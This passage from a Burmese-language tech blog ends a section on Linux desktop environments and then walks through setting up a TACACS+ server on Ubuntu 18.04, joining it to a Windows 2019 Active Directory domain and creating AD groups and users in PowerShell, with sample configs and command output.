နဲ့ Xfce ကိုသာ official DE အနေနဲ့ သုံးနေရတုန်းပါ။ မည်သို့ပင်ဖြစ်စေ LXQt ကတော့ အချိန်တစ်ခုရောက်ရင် project သက်တမ်းရင့်လာတာနဲ့ အမျှ ပိုမိုကောင်းမွန်လာမယ့် DE ပါ။ အခုချိန်ထိတော့ LXDE ကိုသာ အားထား နေရတုန်းလည်း ဖြစ်သလို အလုပ်အလွန်ဖြစ်တဲ့ lightweight DE တစ်ခုပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-8620d4b3ba533a1c9772f30046c8b3054b8c58de%2FLXQt-Desktop.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-896b8981290f5704873dbc8a87e39518ab0ee9b5%2FRazor-qt-Desktop.png?alt=media" alt=""><figcaption></figcaption></figure>

LXDE အကြောင်းကိုတော့ ဒီလောက်နဲ့ပဲ ရပ်လိုက်ပါတော့မယ်။ Desktop Environment အကြောင်းတွေကိုတော့ သိသင့်သလောက် သိပြီးကြပြီလို့ စာရေးသူထင်ပါတယ်။ DE ၅ခုကိုသာ ပုံပမာထားပြီးတော့ GNU/Linux distro တွေမှာ Desktop Environment တွေက ဘယ်လောက်တောင် အရေးပါသလဲဆိုတာကို တင်ပြလိုတာပါ။ လိုရင်းအကျဉ်းချုပ်သဘောလောက်ကိုတော့ လေ့လာမှတ်သားမိမယ်တော့ စာရေးသူထင်ပါတယ်။ ဒီ Desktop Environment အကြောင်းကိုတော့ ဒီအပိုင်းနဲ့ပဲ အဆုံးသတ်လိုက်ပါတော့မယ်။


# TACACS+ နဲ့ Windows AD ကိုတွဲပြီး အသုံးပြုနည်း – အပိုင်း (၁)

## Centralized AAA process တစ်ခု setup လုပ်ဖို့ အကြောင်း

ဒီရက်ပိုင်းထဲမှာ စာရေးသူ အလုပ်နဲ့ ပတ်သတ်ပြီးတော့ ဘယ်လို Directory Services တွေကို production environment ထဲမှာ အသုံးပြုလို့ရသလဲဆိုတာကို လိုက်ရှာကြည့်ပါတယ်။ လက်ရှိ အလုပ်ထဲမှာ အသုံးပြုလို့ရအောင်လို့ စာရေးသူကိုယ်တိုင် TACACS+ ကို Ubuntu 18.04 LTS မှာတင်ပြီးအသုံးပြုနေတာ ၉ လကျော် ၁၀လ တောင်ရှိတော့မယ်ထင်ပါတယ်။ ဘာပြဿနာမှ ထွေထွေထူးထူး မရှိလို့ တော်တော်လေး အဆင်ပြေနေပါတယ်။ အစကနဦးပိုင်းမှာထဲက အလုပ်မှာ network device ပေါင်း ၅၀ ကနေ ၁၀၀ လောက်ရှိတဲ့ အထဲမှာ user login ရဲ့ authentication၊ authorization နဲ့ accouting (AAA) ကို centralized မလုပ်ထားလို့တော်တော်လေး လက်ဝင်ခဲ့ရပါတယ်။ AAA process ကို network device တစ်ခုချင်းစီမှာ local database နဲ့ local syslog ကိုပဲ အားကိုးခဲ့ရလို့ အချိန်လည်းကုန်၊ လူလည်း ပင်ပန်းနဲ့ ခရီးသိပ်မရောက်ခဲ့ ရပါဘူး။ တခါက privilege 15 local user account ရဲ့ password ကို ပြောင်းဖို့ကို ၂ ရက်လောက် အချိန်ယူပြီးတော့ တစ်ခုချင်းစီ လိုက်ပြီးတော့ လိုက်ပြောင်းရပါတယ်။ တော်တော်လည်းအချိန်ကုန်သလောက်၊ စိတ်လည်းတော်တော် ပင်ပန်းကြီးစွာ ပြီးအောင်လုပ်ခဲ့ရလို့ စာရေးသူစဉ်းစားမိတာတစ်ခုက အဲ့ဒီထက်လွယ်တဲ့ နည်းလမ်းများရှိမလား၊ နည်းလမ်း ရှိခဲ့ရင် ဘာဖြစ်လို့များ လွယ်အောင် မလုပ်သလဲဆိုပြီးတော့ အတွေးလေးဝင်လာမိပါတယ်။ စာရေးသူ ကိုယ်တိုင်ကလည်း အဲ့လိုမျိုး manual လုပ်ရတဲ့ အလုပ်တွေကို (လူကလည်း ငပျင်းမို့) မနှစ်မြို့ပါ။ automate လုပ်လို့ရတာမှန်သမျှကို မရရတဲ့ နည်းနဲ့ လူသက်သာအောင် လုပ်ထားချင်တာမို့ အမြဲတမ်းဆိုသလို နည်းလမ်းရှာတတ်တဲ့ သဘောလည်းရှိပါတယ်။ ဒါ့အပြင် human error ကြောင့် manual process တချို့တွေမှာ အမှားပိုပြီးတော့များနိုင်ပါတယ်။

အဲ့ဒီလိုနဲ့ centralized AAA server ကိုဘာဖြစ်လို့ အလုပ်မှာ မသုံးသလဲဆိုတာကို စူးစမ်းရင်းနဲ့ သိလိုက်ရတာကတော့ budget constraint ရှိနေလို့ Cisco တို့၊ Huawei တို့၊ HPE တို့ မှာရနိုင်တဲ့ user management application တွေကို အသုံးမပြုနိုင်တာကို သိလိုက်ရပါတယ်။ Networking infrastructure ထဲမှာက multi-vendor devices တွေကို အသုံးပြုလို့ cross-platform support/compatibility အတွက်လည်း implementation အပိုင်းမှာ အခက်အခဲအချို့ရှိနေတာကို သွားတွေ့ရပါတယ်။ အဲ့ဒီတော့ စာရေးသူအတွက် open-source ကမ္ဘာကနေ ရနိုင်တဲ့ solution တွေကို ရှာဖွေစမ်းသပ်ရင်းနဲ့ အလုပ်မှာ စတင် စမ်းသပ်အသုံးပြုဖြစ်တယ်လို့ ဆိုရမှာ ဖြစ်ပါတယ်။ ကိုယ့်အတွက်တော့ open-source ရဲ့ solution တွေကို production environment မှာ ဘယ်လိုအသုံးပြုနိုင်သလဲဆိုတာကို အလုပ်မှာ management နဲ့ principal network architect တွေကို စပြီးတော့ pitch လုပ်ရပါတော့တယ်။ စာရေးသူကိုယ်တိုင်က open-source သမားတစ်ယောက်ဖြစ်နေလို့ ကိုယ့်ဟာကို အလုပ်ဖြစ်နိုင်တယ်လို့တော့ ယုံကြည်နေမိပါတယ်။ Management ကတော့ open-source နဲ့ Linux မှာ free ရနိုင်ပေမယ့်လည်း GUI မပါလို့ Windows မဟုတ်လို့ဆိုပြီးတော့ သိပ်ပြီးတော့ လက်မခံချင်ခဲ့ပါဘူး။ နောက်ဆုံး တော့ budget မတက်နိုင်သေးလို့ စာရေးသူရဲ့ proposal ကိုလက်ခံလိုက်ရပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-bf256c09f3043c7329331efccb0690bf57b88bec%2FTAC-WINS-ADDS.png?alt=media" alt=""><figcaption></figcaption></figure>

အစပိုင်းမှာတော့ ဘယ်ကနေဘယ်လို စရမှန်း ရေရေရာရာ မသိခဲ့သလို၊ ဘယ်လိုမျိုး ပုံစံမျိုးနဲ့ centralized AAA server ကိုအသုံးပြုပြီးတော့ network devices တွေကို authenticate၊ authorize လုပ်သလဲဆိုမျိုး သေချာရှင်းရှင်းလင်းလင်း မသိခဲ့ပါဘူး။ Open-source solution တွေကို production environment မှာဘယ်လို အသုံးပြုနိုင်သလဲဆိုတာကိုပဲ စိတ်အားထက်သန်စွာ စမ်းသပ်ချင်စိတ် တစ်ခုတည်းနဲ့ လုပ်ခဲ့တာပါ။ ကိုယ်တိုင်က proprietary မှာရနိုင်တဲ့ solution မှန်သမျှကို အယုံအကြည်သိပ်မရှိလို့ open-source က ရနိုင်တာတွေ အားလုံးကို လိုက်လံ ရှာဖွေခဲ့ရပါတယ်။ ပထမဆုံး အနေနဲ့ CentOS 7 ပေါ်မှာ FreeRADIUS ကိုတင်ပြီးတော့ run ကြည့်တာ အဆင်တော့ပြေပါရဲ့၊ သို့သော် network က multi-vendor devices တွေကို အသုံးပြုထားလို့ တချို့ vendor တွေက RADIUS နဲ့ အလုပ်သိပ်မဖြစ်ဘူးထင်ပါတယ်။ ဒါနဲ့ TACACS+ တို့၊ Diameter တို့ကို စတင်စမ်းသပ်ဖို့ ဖြစ်လာပြန်ပါတယ်။ ဒီလိုနဲ့ပဲ TACACS+ ကို CentOS 7 ပေါ်မှာစတင် အသုံးပြုနိုင်ဖို့ ကြိုးစားကြည့်ပါတယ်။ CentOS 7 မှာပါလာတဲ့ default repo မှာ TACACS+ package ကို YUM နဲ့ ရှာကြည့်တာမရှိလို့၊ Ubuntu 18.04 LTS မှာ ရှာကြည့်လို့ သွားတွေ့တာနဲ့ Ubuntu distro ကို အသုံးပြုဖို့ရာ ဖြစ်လာပါတော့တယ်။ အကျဉ်းချုပ်အားဖြင့်တော့ TACACS+ ကို Ubuntu 18.04 LTS နဲ့ staging အဆင့်မှာ ပုံစံမျိုးစုံ စမ်းသပ်လို့အောင်မြင်တာနဲ့ production environment မှာစတင် အသုံးပြုဖြစ်တာ အခုဆို တစ်နှစ်တောင်ပြည့်ပါတော့မယ်။

## TACACS+ ကို AAA process အတွက် Standalone setup လုပ်ပုံ

TACACS+ ကို install လုပ်ဖို့အတွက် စာရေးသူ Ubuntu 18.04 LTS ကိုအသုံးပြုပါတယ်။ Ubuntu 18.04 LTS ကို fresh install လုပ်ပြီးတော့နဲ့ အောက်ကအတိုင်း update ၊ upgrade လုပ်ပါ။

```
tyla@apt-dev01:~$ sudo -i

[sudo] password for tyla: # type your sudo user account password

root@apt-dev01:~# apt update

root@apt-dev01:~# apt upgrade -y
```

ပြီးတာနဲ့ TACACS+ ကို apt install command နဲ့အောက်ပါအတိုင်း စတင် install လုပ်လို့ရပါပြီ။

```
root@apt-dev01:~# apt -y install tacacs+
```

TACACS+ ကို install လုပ်ပြီးတာနဲ့ လက်ရှိ local user database နဲ့ တွဲဖက် အသုံးပြုပုံကို အောက်ပါအတိုင်း တွေ့ရမှာဖြစ်ပါတယ်။ အဓိက အနေနဲ့ USERS ACCOUNTS HERE ဆိုတဲ့ section မှာ ကိုယ့်ရဲ့ local user account နဲ့ သက်ဆိုင်ရာ group ကို member အားဖြင့် ထည့်လိုက်ရုံပါပဲ။ ဥပမာ အနေနဲ့ user “juno” ကို TACACS+ server မှာ system user အနေနဲ့ထည့်တာ ကိုပြထားပါတယ်။ user “tyla” ကတော့ Ubuntu installation လုပ်ကတည်း က sudoer အနေနဲ့ထည့်ထားတဲ့ user account ဖြစ်ပါတယ်။ GROUPS HERE ဆိုတဲ့ section မှာတော့ သက်ဆိုင်ရာ group တခုချင်းစီရဲ့ attributes/properties တွေကို အောက်ကအတိုင်းတွေရမှာ ဖြစ်ပါတယ်။ tac\_plus.conf ရဲ့ configuration တစ်လိုင်းချင်းစီရဲ့ ဆိုလိုရင်းကိုတော့ အသေးစိတ်မသွားတော့ပါဘူး။ self-descriptive ဖြစ်ပြီးသားမို့ရှင်းပါတယ်။

```
root@apt-dev01:~# useradd juno

root@apt-dev01:~# passwd juno
New password: 
Retype new password: 
passwd: password updated successfully

root@apt-dev01:~# vi /etc/tacacs+/tac_plus.conf 

# Created by Henry-Nicolas Tourneur(henry.nicolas@tourneur.be)
# See man(5) tac_plus.conf for more details

# Define where to log accounting data, this is the default.

accounting file = /var/log/tac_plus.acct

# This is the key that clients have to use to access Tacacs+

key = testing123

# Use /etc/passwd file to do authentication
    
#default authentication = file /etc/passwd
 

# You can use feature like per host key with different enable passwords
#host = 127.0.0.1 {
#        key = test 
#        type = cisco
#        enable =  enablepass
#        prompt = "Welcome XXX ISP Access Router nnUsername:"
#}

# We also can define local users and specify a file where data is stored.
# That file may be filled using tac_pwd
#user = test1 {
#    name = "Test User"
#    member = staff
#    login = file /etc/tacacs/tacacs_passwords
#}

# We can also specify rules valid per group of users.
#group = group1 {
#	cmd = conf {
#		deny
#	}
#}

# Another example : forbid configure command for some hosts
# for a define range of clients
#group = group1 {
#	login = PAM
#	service = ppp
#	protocol = ip {
#		addr = 10.10.0.0/24
#	}
#	cmd = conf {
#		deny .*
#	}
#}

user = DEFAULT {
	login = PAM
	service = ppp protocol = ip {}
}

# Much more features are availables, like ACL, more service compatibilities,
# commands authorization, scripting authorization.
# See the man page for those features.

#*************************
#***USERS ACCOUNTS HERE***
#*************************
user = tyla {
	 member = admin
}

user = juno {
	member = restrict
}

#*************************
#***   GROUPS HERE     ***
#*************************
group = admin {
	default service = permit
	login = file /etc/passwd
	service = exec {
		priv-lvl = 15
	}
}

group = restrict {
        default service = deny
        login = file /etc/passwd
	service = exec {
        priv-lvl = 15
        }
        cmd = enable {
                permit .*
        }
	cmd = system {
		permit .*
	}
        cmd = show {
                permit .*
        }
	cmd = display {
		permit .*
	}
        cmd = exit {
                permit .*
        }
	cmd = quit {
		permit .*
	}
	cmd = ping {
		permit .*	
	}
	cmd = traceroute {
                permit .*
        }
}

root@apt-dev01:~# systemctl restart tacacs+
```

လက်ရှိမှာတော့ network ပေါ်မှာ networking devices တွေကို login လုပ်ပြီးတော့ management လုပ်တဲ့ network engineer အများကြီး မရှိသေးပါဘူး။ နောက်တဆင့်အနေနဲ့ future proof ဖြစ်အောင်လို့ Junior Network Engineerတွေနဲ့ တခြား Sysadmin တွေပါ ဝင်ရောက်ကြည့်ရှုပြီးတော့ troubleshoot လုပ်ချင်တယ်ဆိုရင်တော့ လက်ရှိ setup ဖြစ်တဲ့ standalone TACACS+ server က နောင်တချိန်မှာ အလုပ်သိပ်ဖြစ်မှာ မဟုတ်ပါဘူး။ ဒါ့အပြင် အလုပ်မှာ စာရေးသူလိုရင် လိုသလို service တစ်ခုပြီး တစ်ခု deploy လုပ်လာလိုက်တာ အခုဆို manage လုပ်ရမယ့် service တွေဟာလည်း TACACS+ တစ်ခုတည်းမဟုတ်တော့လို့၊ တစုတစည်း တည်း user တွေကို manage လုပ်ဖို့ရာ directory services တွေကို ထပ်မံ ရှာပုံတော်ထွက်ရပြန်ပါတယ်။ ထုံးစံအတိုင်း open-source မှာရနိုင်တဲ့ solution တွေကိုပဲ အားစိုက်ပြီးတော့ ရှာဖွေခဲ့ပါတယ်။ Distro အနေနဲ့တော့ CentOS 7 ကို production မှာသုံးရတာ အကြိုက်တွေ့လို့ ဦးစားပေးပြီးတော့ စမ်းသပ်ပါတယ်။ နောက်ဆုံး အဆင်မပြေတော့မှ alternative အနေနဲ့ Ubuntu/Debian ဘက်ကိုလှည့်ပါတယ်။ တချို့ package တွေအတွက် တော့ dpkg ဟာပိုလို့ အဆင်ပြေပါတယ်။ ကိုယ်သုံးမယ့် ဟာပေါ်မှာမူတည်ပြီးတော့ အဆင်ပြေသလို distro ကို စာရေးသူ အသုံးပြုပါတယ်။ ပထမဆုံး အနေနဲ့ OpenLDAP ကို standalone အနေနဲ့ စမ်းသပ်ကြည့်ပါတယ်။ လုံးဝ အဆင်မပြေတာနဲ့ပဲ SAMBA ကို OpenLDAP နဲ့တွဲပြီးတော့ အသုံးပြုကြည့်တာလည်း ထင်သလောက် ခရီးမရောက်ခဲ့ပါဘူး။ WebUI အနေနဲ့တော့ LAM တို့ phpLDAPadmin တို့ ကို အသုံးပြုပြီးတော့ စမ်းသပ်ကြည့်ပါတယ်။ ဒါလည်း အဆင်ပြေတာနဲ့ အဆင်သင့် ပြင်ထားဆင်ထားပြီးသားဖြစ်တဲ့ Zentyal 6.0 Development Edition နဲ့ Red Hat ရဲ့ FreeIPA တို့ဘက်ကို တချက်လောက်တော့ ကြည့်မှဖြစ်မယ်ဆိုပြီးတော့၊ တခုပြီးတော့ တခု စမ်းသပ်ကြည့်ရပါတယ်။ အထူးသဖြင့် ဒီလို အဆင်သင့် ထုတ်ပြီးပိုးပြီးသား solution တွေဟာ deployment အတွက်တော့ အချိန်တော်တော်သက်သာသွားပြီး အလုပ်ပိုပြီးဖြစ်တာကို သွားတွေ့ရပါတော့တယ်။ Zentyal 6.0 ဟာ Ubuntu 18.04 LTS မှာ အခြေခံထားပြီးတော့ FreeIPA ကိုတော့ CentOS 7 ပေါ်မှာ စာရေးသူ တင်ပြီးတော့ အသုံးပြုကြည့်တာလည်း ဖြစ်ပါတယ်။ နှစ်ခုလုံး အစပိုင်းမှာ အားလုံး အဆင်ပြေသလို ရှိသော်လည်း နှစ်ရက်သုံးရက်လောက် စမ်းသပ်ရင်း ကနေ တစ်ခုမဟုတ် တစ်ခုတော့ ထပြီး ဖောက်ပါတယ်။ system/package update တစ်ခါနှစ်ခါ လုပ်ပြီးသွားရင် ပုံမှန် အလုပ်လုပ် နေတဲ့ directory service က error တစ်ခုမဟုတ် တစ်ခုတက်လာတတ်ပါတယ်။ နောက်ဆုံးမှာတော့ စာရေးသူ လုံးဝ လက်လျှော့ လိုက်ပြီးတော့ Windows 2019 ADDS ကိုပဲ directory service အနေနဲ့ သုံးတော့မယ်လို့ ဆုံးဖြတ်လိုက်ရပါတော့တယ်။ အဲ့ဒီလိုနဲ့ အောက်ကအတိုင်း Windows 2019 ADDS ကိုပဲ TACACS+ integration မှာသုံးရပါတော့တယ်။ Windows 2019 ADDS မှာ primary domain controller နဲ့ secondary domain controller ကိုဘယ်လို setup လုပ်သလဲဆိုတာကိုတော့ ဒီ post မှာ မထည့်တော့ပါဘူး။ Windows Sysadmins တိုင်း ဘယ်လို install လုပ်ရသလဲ၊ ADDS role ကို ဘယ်လို add လုပ်သလဲဆိုတာ သိနိုင်မယ်လို့ စာရေးသူ ယူဆပါတယ်။ ဒီတော့… နောက်တဆင့်မသွားခင်မှာ Windows 2019 ADDS ကိုအရင် setup လုပ်ပါ။ ပြီးတော့မှ… နောက်အဆင့်ကို ဆက်သွားပါ။ Windows 2019 ADDS ရဲ့ domain name ကိုတော့ စာရေးသူ gnu.net အနေနဲ့ ဒီ tutorial ထည့်သွင်း အသုံးပြုထားပါတယ်။

## Domain ကို join ဖို့လိုအပ်တဲ့ package များအား Ubuntu မှာ install လုပ်ပုံ

```
tyla@apt-dev01:~$ sudo -i

[sudo] password for tyla: # type your sudo user account password

root@apt-dev01:~# apt -y install realmd sssd sssd-tools libnss-sss libpam-sss adcli samba-common-bin oddjob oddjob-mkhomedir packagekit
```

## DNS setting ကို domain controller ဆီသို့ ထောက်ပြပေးပုံ

```
root@apt-dev01:~# vi /etc/netplan/50-cloud-init.yaml

# This file is generated from information provided by
# the datasource.  Changes to it will not persist across an instance.
# To disable cloud-init's network configuration capabilities, write a file
# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:
# network: {config: disabled}
network:
    ethernets:
        ens160:
            addresses:
            - 192.168.105.11/24
            gateway4: 192.168.105.254
            nameservers:
                addresses:
                - 192.168.105.16 # Pointing to Windows AD Primary DC
                - 192.168.105.17 # Pointing to Windows AD Secondary DC
    version: 2

root@apt-dev01:~# netplan apply
```

## Realm နဲ့ domain name အားစစ်ဆေးပုံ

```
root@apt-dev01:~# realm discover gnu.net

gnu.net
  type: kerberos
  realm-name: GNU.NET
  domain-name: gnu.net
  configured: kerberos-member
  server-software: active-directory
  client-software: sssd
  required-package: sssd-tools
  required-package: sssd
  required-package: libnss-sss
  required-package: libpam-sss
  required-package: adcli
  required-package: samba-common-bin
  login-formats: %U
  login-policy: allow-realm-logins
```

## Realm နှင့် domain အား ချိတ်ဆက်ပုံ

```
root@apt-dev01:~# realm join GNU.NET

Password for Administrator: # type Windows AD domain administrator password
```

## Domain user account အား စစ်ဆေးပုံ

```
root@apt-dev01:~# id tyla.lin # verify with your domain user account

uid=1396801106(tyla.lin) gid=1396800513(domain users) groups=1396800513(domain users),1396800572(denied rodc password replication group),1396800512(domain admins),1396801113(enabler),1396801107(sudoers)
```

## FQDN ကို login တွင် ဖယ်ရှားပုံ

```
root@apt-dev01:~# vi /etc/sssd/sssd.conf

[sssd]
domains = gnu.net
config_file_version = 2
services = nss, pam

[domain/gnu.net]
ad_domain = gnu.net
krb5_realm = GNU.NET
realmd_tags = manages-system joined-with-adcli
cache_credentials = True
id_provider = ad
krb5_store_password_if_offline = True
default_shell = /bin/bash
ldap_id_mapping = True
use_fully_qualified_names = False # change True to False
fallback_homedir = /home/%u@%d
access_provider = ad
```

အခုဆိုရင်တော့ TACACS+ ကို run ထားတဲ့ Ubuntu 18.04 LTS box ဟာ GNU.NET ဆိုတဲ့ domain ကို join ပြီးသွားပါပြီ။ TACACS+ server ကို ssh နဲ့ ဝင်တဲ့အခါမှာ အောက်ကအတိုင်း ဝင်လို့ရပါပြီ။

```
tyla@ubuntu:~$ ssh tyla.lin@192.168.105.11 # tyla.lin is Windows AD username 
tyla.lin@192.168.105.11's password: # type in the Windows AD user password
tyla.lin@apt-dev01 ~$
```

ဒီ post မှာတော့ ဒီလောက်နဲ့ပဲရပ်လိုက်ပါတော့မယ်။ နောက် post မှာတော့ TACACS+ နဲ့ Windows AD ကိုဘယ်လို integration လုပ်ပုံဆက်ရှင်းပါ့မယ်။


# TACACS+ နဲ့ Windows AD ကိုတွဲပြီး အသုံးပြုနည်း – အပိုင်း (၂)

အရှေ့ post မှာ TACACS+ server ကို standalone setup ဘယ်လို လုပ်သလဲဆိုတာကို ရှင်းပြပြီးသွားပါပြီ။ အခြေခံအားဖြင့် authentication အတွက် Ubuntu 18.04 LTS local user login database ဖြစ်တဲ့ /etc/passwd file ကို အသုံးပြုပြီးတော့၊ authorization အတွက်တော့ /etc/tacacs+/tac\_plus.conf file ကိုအသုံးပြုထားတာပဲဖြစ်ပါတယ်။ configuration အကုန်လုံးက server ဘက်မှာပဲ ပြီးပါသေးတယ်။ Network devices တွေအတွက်တော့ ဘယ်လို configure လုပ်သလဲဆိုတာကို နောက်ဆုံးမှာ ရှင်းသွားပါ့မယ်။ devices config အတွက်တော့ TACACS+ standalone နဲ့ TACACS+ Windows AD မှာပါ အကုန်လုံးတူပါတယ်။ ဘာမှပြောင်းစရာမလိုပါဘူး။ အဲဒီအတွက် နောက်ဆုံးမှာ ရှင်းတာဖြစ်ပါတယ်၊။ ဒီအဆင့်မှာတော့ Ubuntu 18.04 box ဟာ Windows 2019 AD ကို join ပြီးဖြစ်ပါတယ်။ အခု domain joined Linux TACACS+ server ကို Windows AD နဲ့ ဘယ်လို integrate လုပ်သလဲဆိုတာကို ဆက်ရှင်းသွားပါ့မယ်။ Integration အပိုင်းမှာတော့ ပုံစံမျိုးစုံနဲ့ လုပ်လို့ရပါတယ်။ စာရေးသူ အခုရှင်းမယ့် ပုံစံကတော့ အနည်းငယ် လက်ဝင်ပေမယ့် အလုပ်ဖြစ်ပါတယ်။ နောက်ပြီးတော့ စာရေးသူသတိထားမိတာ တစ်ခုက Internet ပေါ်မှာ စာရေးသူ လုပ်ချင်တဲ့ ပုံစံမျိုး ရအောင်လို့ setup လုပ်ဖို့ရာ ပြီးပြည့်စုံတဲ့ tutorial မရှိပါဘူး။ ဟိုနည်းနည်းဖတ် ဒီနည်းနည်းရှာနဲ့ပဲ မရရအောင်လို့ ကြံဖန်ပြီးတော့ လုပ်ရပါတော့တယ်။ အဲ့ဒီအတွက် အလုံးစုံ ရိုးရှင်းတဲ့ integration process တော့ မဟုတ်ပါဘူး။ သို့သော် အလုပ်ဖြစ်ပြီးတော့ နားလည်ရလွယ်တဲ့ solution တစ်ခုပါ။ Linux မှာရနိုင်တဲ့ tools တွေကိုပဲ ကိုယ်လိုချင်တဲ့ပုံစံ ဖြစ်အောင် လုပ်ရတာဖြစ်တဲ့အတွက် စိတ်ဝင်စားဖို့တော့ကောင်းပါတယ်။ အကျဉ်းချုပ်အားဖြင့်တော့ Linux ရဲ့ PAM ရယ်၊ bash script တစ်ခုရယ်၊ crontab နဲ့ built-in Linux command သုံးလေးငါးခုလောက်ကို လှည့်ပြီးတော့ သုံးထားတာ လည်းဖြစ်တဲ့အတွက် ဘာမှထက်ပြီးတော့ ထွေထွေထူးထူး install လုပ်စရာ မရှိပါဘူး။ သို့သော် တစ်ခုချင်းစီရဲ့ အလုပ်လုပ်ဆောင်ပုံနဲ့ ဘယ်လိုမျိုး အသုံးပြုရတာလဲဆိုတော့ အနည်းငယ်သိဖို့တော့လိုပါလိမ့်မယ်။ စာရေးသူ တတ်နိုင်သလောက်တော့ တစ်ခုချင်းစီကို အကျဉ်းချုပ်ပြီးတော့ ရှင်းသွားပါ့မယ်။

## Windows AD တွင် user group ကို setup လုပ်ပုံ

user group ၃ ခုဖြစ်တဲ့ enabler၊ temper၊ reader တို့ကို အောက်ကအတိုင်း Windows AD ရဲ့ domain controller ပေါ်မှာ PowerShell နဲ့ create လုပ်လိုက်ပါ။

```
# adding "enabler" security group to Windows AD domain
PS C:Userstyla.GNU> New-ADGroup -Name "enabler" -SamAccountName enabler -GroupCategory Security -GroupScope Global -DisplayName "enabler" -Path "CN=Users,DC=GNU,DC=NET" -Description "Privilege 15 admins"

# adding "reader" security group to Windows AD domain
PS C:Userstyla.GNU> New-ADGroup -Name "reader" -SamAccountName reader -GroupCategory Security -GroupScope Global -DisplayName "reader" -Path "CN=Users,DC=GNU,DC=NET" -Description "Restricted read-only users"

# adding "temper" security group to Windows AD domain
PS C:Userstyla.GNU> New-ADGroup -Name "temper" -SamAccountName temper -GroupCategory Security -GroupScope Global -DisplayName "temper" -Path "CN=Users,DC=GNU,DC=NET" -Description "Temporary Privilege 15 access to edge devices"
```

Windows AD မှာ domain user groups တွေကို create လုပ်ပြီးသွားတာနဲ့ ကိုယ်လိုချင်တဲ့ user account တွေကို အောက်ကအတိုင်း ဖန်းတီးပြီးတော့ ကိုယ်ကြိုက်တဲ့ group မှာထည့်လိုက်ပါ။

```
# Import Active Directory Module in PowerShell
PS C:Userstyla.GNU> Import-Module ActiveDirectory                             

# Add new AD user account
PS C:Userstyla.GNU> New-ADUser tyla.lin -UserPrincipalName tyla.lin@gnu.net

# Set newly created AD user account's password
PS C:Userstyla.GNU> Set-ADAccountPassword -Identity tyla.lin                  
Please enter the current password for "CN=tyla.lin,CN=Users,DC=gnu,DC=net"    
Password:                                                                       
Please enter the desired password for "CN=tyla.lin,CN=Users,DC=gnu,DC=net"    
Password: ***********                                                           
Repeat Password: *********** 

# Enable the new AD user account
PS C:Userstyla.GNU> Enable-ADAccount -Identity tyla.lin                       

# Verify the new AD user account
PS C:Userstyla.GNU> Get-ADUser tyla.lin                                       

DistinguishedName : CN=tyla.lin,CN=Users,DC=gnu,DC=net                        
Enabled           : True                                                        
GivenName         :                                                             
Name              : tyla.lin                                                    
ObjectClass       : user                                                        
ObjectGUID        : fa260d1c-3de5-4939-b6b7-052ff5ce0e2f                        
SamAccountName    : tyla.lin                                                    
SID               : S-1-5-21-3725648376-1897747198-2438019021-1119              
Surname           :                                                             
UserPrincipalName : tyla.lin@gnu.net    

# Add the newly created AD user account to enabler AD security users group
PS C:Userstyla.GNU> Add-ADGroupMember -Identity enabler -Member tyla.lin

# Verify the enabler group's membership
PS C:Userstyla.GNU> Get-ADGroupMember enabler                                 

distinguishedName : CN=tyla.lin,CN=Users,DC=gnu,DC=net                        
name              : tyla.lin                                                    
objectClass       : user                                                        
objectGUID        : fa260d1c-3de5-4939-b6b7-052ff5ce0e2f                        
SamAccountName    : tyla.lin                                                    
SID               : S-1-5-21-3725648376-1897747198-2438019021-1119
```

အခုဆိုရင်တော့ Windows AD မှာ သက်ဆိုင်ရာ AD group နဲ့ user တွေကိုပြင်ဆင်ပြီးသွားပါပြီ။ အောက်ကပုံမှာတော့ စာရေးသူရဲ့ network topology အကြမ်းဖြစ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-33904147f736a3a3ce644135b1f68abc5c83925d%2Fnetwork-topology-1.png?alt=media" alt=""><figcaption></figcaption></figure>

Windows AD ရဲ့ domain controller ပေါ်မှာ group နဲ့ user တွေလည်း ဖန်းတီးပြီးပြီ၊ TACACS+ တင်ထားတဲ့ Linux box ကိုလည်း အဲ့ဒီ GNU.NET ဆိုတဲ့ domain ကို join ပြီးသွားပြီဆိုရင် တော့၊ domain user နဲ့ group တွေကို Linux ကနေ မြင်ရ မမြင်ရဆိုတာကို တချက်တော့ verify လုပ်ရပါ့မယ်။ ဒီအဆင့်က အရေးကြီးပါတယ်။ Linux box ကနေ Windows AD ရဲ့ user နဲ့ group ကို မမြင်ရရင်တော့ နည်းနည်းပါးပါး troubleshoot လုပ်ရပါလိမ့်မယ်။ အားလုံးအဆင်ပြေရင်တော့မှ နောက်တဆင့်ကို ဆက်သွားပါ။

```
tyla@apt-dev01:~$ sudo -i

[sudo] password for tyla: 

root@apt-dev01:~# getent passwd tyla.lin

tyla.lin:*:1396801106:1396800513:Tyla Lin:/home/tyla.lin@gnu.net:/bin/bash

root@apt-dev01:~# getent group enabler

enabler:*:1396801113:tyla.lin,tom.cruise
```

အထက်ကအတိုင်းတွေ့ရတယ်ဆိုရင်တော့ အားလုံးအဆင်ပြေပါပြီ။ နောက်တဆင့်မှာတော့ tac\_plus.conf ကို local user database ဖြစ်တဲ့ /etc/passwd အစား PAM ကိုအသုံးပြုဖို့အတွက် အနည်းငယ် ပြင်ဆင်ဖို့လိုပါလိမ့်မယ်။

```
root@apt-dev01:~# vi /etc/tacacs+/tac_plus.conf 

# Created by Henry-Nicolas Tourneur(henry.nicolas@tourneur.be)
# See man(5) tac_plus.conf for more details

# Define where to log accounting data, this is the default.

accounting file = /var/log/tac_plus.acct

# This is the key that clients have to use to access Tacacs+

key = testing123

# Use /etc/passwd file to do authentication
    
#default authentication = file /etc/passwd
 

# You can use feature like per host key with different enable passwords
#host = 127.0.0.1 {
#        key = test 
#        type = cisco
#        enable =  enablepass
#        prompt = "Welcome XXX ISP Access Router nnUsername:"
#}

# We also can define local users and specify a file where data is stored.
# That file may be filled using tac_pwd
#user = test1 {
#    name = "Test User"
